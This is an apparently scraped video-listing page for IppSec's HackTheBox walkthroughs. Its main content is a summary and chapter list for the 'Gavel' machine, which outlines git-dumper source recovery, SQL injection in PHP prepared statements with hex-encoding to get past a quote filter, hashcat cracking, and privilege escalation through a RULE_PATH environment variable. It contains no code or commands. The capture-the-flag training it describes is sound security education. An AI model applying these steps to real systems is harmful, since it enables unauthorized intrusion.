47 HackTheBox - Nightmarev2  - Speed Run/Unintended Solutions
HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions
IppSec
48 HackTheBox - Bart
HackTheBox - Bart
IppSec
49 HackTheBox -  Aragog
HackTheBox - Aragog
IppSec
50 HackTheBox - Valentine
HackTheBox - Valentine
IppSec
51 HackTheBox - Silo
HackTheBox - Silo
IppSec
52 HackTheBox - Rabbit
HackTheBox - Rabbit
IppSec
53 HackTheBox - Celestial
HackTheBox - Celestial
IppSec
54 HackTheBox - Stratosphere
HackTheBox - Stratosphere
IppSec
55 HackTheBox - Poison
HackTheBox - Poison
IppSec
56 HackTheBox - Canape
HackTheBox - Canape
IppSec
57 HackTheBox - Olympus
HackTheBox - Olympus
IppSec
58 HackTheBox - Sunday
HackTheBox - Sunday
IppSec
59 HackTheBox - Fighter
HackTheBox - Fighter
IppSec
60 HackTheBox - Bounty
HackTheBox - Bounty
IppSec

This video teaches how to exploit a HackTheBox machine called Gavel using SQL injection and other techniques. The machine requires SQL injection to retrieve the password hash, which can be cracked using hashcat. A reverse shell can be achieved by copying a file with modified permissions and then executing it.

Key Takeaways
  1. Run nmap to enumerate versions and ports
  2. Use git dumper to download the git repository
  3. Intercept the login request and measure the response time for valid and invalid usernames
  4. Use SQL injection to extract column names from the database
  5. Use hashcat to crack the hashes of the auctioneer's password
  6. Exploit a vulnerability in the admin panel to gain access to the system
💡 The machine can be exploited by using SQL injection to extract the password hash, which can be cracked using hashcat, and then achieving a reverse shell by copying a file with modified permissions and executing it.

Related Reads

📰
Built an AI-Powered WAF for PHP/Laravel Apps in Africa — Here’s What It Catches
Learn how to build an AI-powered WAF for PHP/Laravel apps and what security threats it can catch
Dev.to · Nchiminyi — Founder, Kriosa
📰
Seven Unpatched FatFs Flaws Put Millions of Embedded Devices One USB Away From a Jailbreak
Learn about 7 unpatched FatFs flaws that put millions of embedded devices at risk of jailbreak via USB
Dev.to · Etairos.ai
📰
We open-sourced our security audit. Here's what we found (and fixed).
Learn from MarketNow's open-sourced security audit report, which revealed 16 vulnerabilities, all of which were fixed, to improve your own security testing and remediation strategies
Dev.to · Edison Flores
📰
We open-sourced our security audit
Learn from MarketNow's open-sourced security audit and improve your own security protocols
Dev.to · Edison Flores

Chapters (15)

Introduction
0:30 Start of nmap
2:00 Discovering .git directory, using git-dumper to download source code
5:50 Using OpenGrep to identify vulnerabilities and discovering an SQL Injection in
8:30 Going over this weird SQL Injection in PHP MySQL Prepared Statements, which is
11:00 Creating the SQL Injection Payload in the prepared statement
18:40 We can't use a ascii quote, but can hex encode to get around the limitation
23:50 Cracking the hash and getting admin on the application
26:00 Looking at the admin functionality, discovering rules can contain PHP which wi
30:00 Shell on the box
33:30 Discovering the gavel-util and gaveld binary, copying them to our box
36:30 Opening the binaries up in Ghidra
41:30 Doing some dynamic analysis on our box, running gavil-util to see what it writ
44:30 Setting the environment variable RULE_PATH to change where gaveld loads the PH
50:15 Showing another way we could exploit this, using PHP to rewrite the PHP.INI re
Up next
DPDPA India for CISOs – A pragmatic approach to essentials vs. hearsay
AKITRA
Watch →